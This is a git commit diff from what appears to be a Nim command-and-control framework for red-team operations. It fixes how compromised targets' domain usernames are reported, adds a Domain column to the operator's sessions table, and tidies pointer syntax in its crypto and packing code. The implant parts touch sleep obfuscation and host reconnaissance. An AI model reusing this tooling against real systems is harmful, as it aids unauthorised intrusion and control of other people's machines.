Fixed username display error when target is connected to a domain.

This commit is contained in:
Jakob Friedl
2025-10-29 19:05:49 +01:00
parent 6ab3cbafa0
commit 21f70feb40
10 changed files with 22 additions and 50 deletions

View File

@@ -644,7 +644,7 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) =
# Generate random encryption key
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
key.Buffer = keyBuffer.addr
key.Buffer = addr keyBuffer
key.Length = cast[DWORD](keyBuffer.len())
# Execute sleep obfuscation technique

View File

@@ -33,11 +33,12 @@ proc getUsername(): string =
if getDomain() != "":
# If domain-joined, return username in format DOMAIN\USERNAME
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
else:
# If not domain-joined, only return USERNAME
discard GetUsernameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize) - 1]
return $buffer[0 ..< int(dwSize) - 1]
# Current process name
proc getProcessExe(): string =

View File

@@ -64,7 +64,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio
ImGui_TableFlags_SizingStretchSame.int32
)
let cols: int32 = 11
let cols: int32 = 12
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
@@ -73,6 +73,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio
igTableSetupColumn("IP (External)", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("OS", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Process", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("PID", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
@@ -108,12 +109,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio
igText(agent.ipExternal)
if igTableSetColumnIndex(4):
if not agent.domain.isEmptyOrWhitespace():
igText(agent.domain & "\\")
igSameLine(0.0f, 0.0f)
igText(agent.username)
if component.agentImpersonation.hasKey(agent.agentId):
igSameLine(0.0f, textSpacing)
igText(fmt"[{component.agentImpersonation[agent.agentId]}]")
@@ -121,12 +117,14 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio
if igTableSetColumnIndex(5):
igText(agent.hostname)
if igTableSetColumnIndex(6):
igText(agent.os)
igText(agent.domain)
if igTableSetColumnIndex(7):
igText(agent.process)
igText(agent.os)
if igTableSetColumnIndex(8):
igText($agent.pid)
igText(agent.process)
if igTableSetColumnIndex(9):
igText($agent.pid)
if igTableSetColumnIndex(10):
let duration = now() - agent.firstCheckin.fromUnix().local()
let totalSeconds = duration.inSeconds
@@ -136,7 +134,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connectio
igText(fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago")
if igTableSetColumnIndex(10):
if igTableSetColumnIndex(11):
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
let totalSeconds = duration.inSeconds

View File

@@ -67,15 +67,15 @@ proc crypto_wipe*(data: ptr byte, size: csize_t) {.importc, cdecl.}
# Generate X25519 public key from private key
proc getPublicKey*(privateKey: Key): Key =
crypto_x25519_public_key(result[0].addr, privateKey[0].addr)
crypto_x25519_public_key(addr result[0], addr privateKey[0])
# Perform X25519 key exchange
proc keyExchange*(privateKey: Key, publicKey: Key): Key =
crypto_x25519(result[0].addr, privateKey[0].addr, publicKey[0].addr)
crypto_x25519(addr result[0], addr privateKey[0], addr publicKey[0])
# Calculate Blake2b hash
func pointerAndLength*(bytes: openArray[byte]): (ptr[byte], uint) =
result = (cast[ptr[byte]](unsafeAddr bytes), uint(len(bytes)))
result = (cast[ptr[byte]](addr bytes), uint(len(bytes)))
func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, byte] =
let (messagePtr, messageLen) = pointerAndLength(message)
@@ -86,7 +86,7 @@ func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, by
# Secure memory wiping
proc wipeKey*(data: var openArray[byte]) =
if data.len > 0:
crypto_wipe(data[0].addr, data.len.csize_t)
crypto_wipe(addr data[0], data.len.csize_t)
# Key pair generation
proc generateKeyPair*(): KeyPair =
@@ -114,7 +114,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
let hash = blake2b(hashMessage, sharedSecret)
copyMem(key[0].addr, hash[0].addr, sizeof(Key))
copyMem(addr key[0], addr hash[0], sizeof(Key))
# Cleanup
wipeKey(sharedSecret)

View File

@@ -10,9 +10,7 @@ proc sendEvent*(ws: WebSocket, event: Event, key: Key = default(Key)) =
var packer = Packer.init()
let iv = generateBytes(Iv)
var
data = string.toBytes($event.data)
var data = string.toBytes($event.data)
packer.add(cast[uint8](event.eventType))
packer.add(cast[uint32](event.timestamp))

View File

@@ -30,7 +30,6 @@ proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
return values[rand(values.len - 1)]
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
# A random entry is selected from these specifications
var value: string = ""

View File

@@ -17,7 +17,7 @@ proc add*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer
return packer
proc addData*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
packer.stream.writeData(data[0].unsafeAddr, data.len)
packer.stream.writeData(addr data[0], data.len)
return packer
proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
@@ -97,7 +97,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
return @[]
result = newSeq[byte](length)
let bytesRead = unpacker.stream.readData(result[0].addr, length)
let bytesRead = unpacker.stream.readData(addr result[0], length)
unpacker.position += bytesRead
if bytesRead != length:
@@ -106,7 +106,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array =
var bytes: array[sizeof(T), byte]
let bytesRead = unpacker.stream.readData(bytes[0].unsafeAddr, sizeof(T))
let bytesRead = unpacker.stream.readData(addr bytes[0], sizeof(T))
unpacker.position += bytesRead
if bytesRead != sizeof(T):

View File

@@ -101,4 +101,4 @@ proc toKey*(value: string): Key =
if value.len != 32:
raise newException(ValueError, protect("Invalid key length."))
copyMem(result[0].addr, value[0].unsafeAddr, 32)
copyMem(addr result[0], addr value[0], 32)

View File

@@ -148,30 +148,6 @@ proc sendBuildlogItem*(client: WsConnection, logType: LogType, message: string)
if client != nil:
client.ws.sendEvent(event, client.sessionKey)
proc createThumbnail(data: string, maxHeight: int = 1024, quality: int = 80): string =
let img: Image = decodeImage(data)
# Resize image
let aspectRatio = img.width.float / img.height.float
let
height = min(maxHeight, img.height)
width = int(height.float * aspectRatio)
let thumbnail = img.resize(width, height)
# Convert to JPEG image for smaller file size
var rgbaData = newSeq[byte](width * height * 4)
var i = 0
for y in 0..<height:
for x in 0..<width:
let color = thumbnail[x, y]
rgbaData[i] = color.r
rgbaData[i + 1] = color.g
rgbaData[i + 2] = color.b
rgbaData[i + 3] = color.a
i += 4
return Bytes.toString(stbiw.writeJPG(width, height, 4, rgbaData, quality))
proc sendLoot*(client: WsConnection, loot: LootItem) =
let event = Event(
eventType: CLIENT_LOOT_ADD,

View File

@@ -38,7 +38,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
# Convert session key blob back to array
var sessionKey: Key
if sessionKeyBlob.len == 32:
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
copyMem(addr sessionKey[0], addr sessionKeyBlob[0], 32)
else:
# Handle invalid session key - log error but continue
cq.warning("Invalid session key length for agent: ", agentId)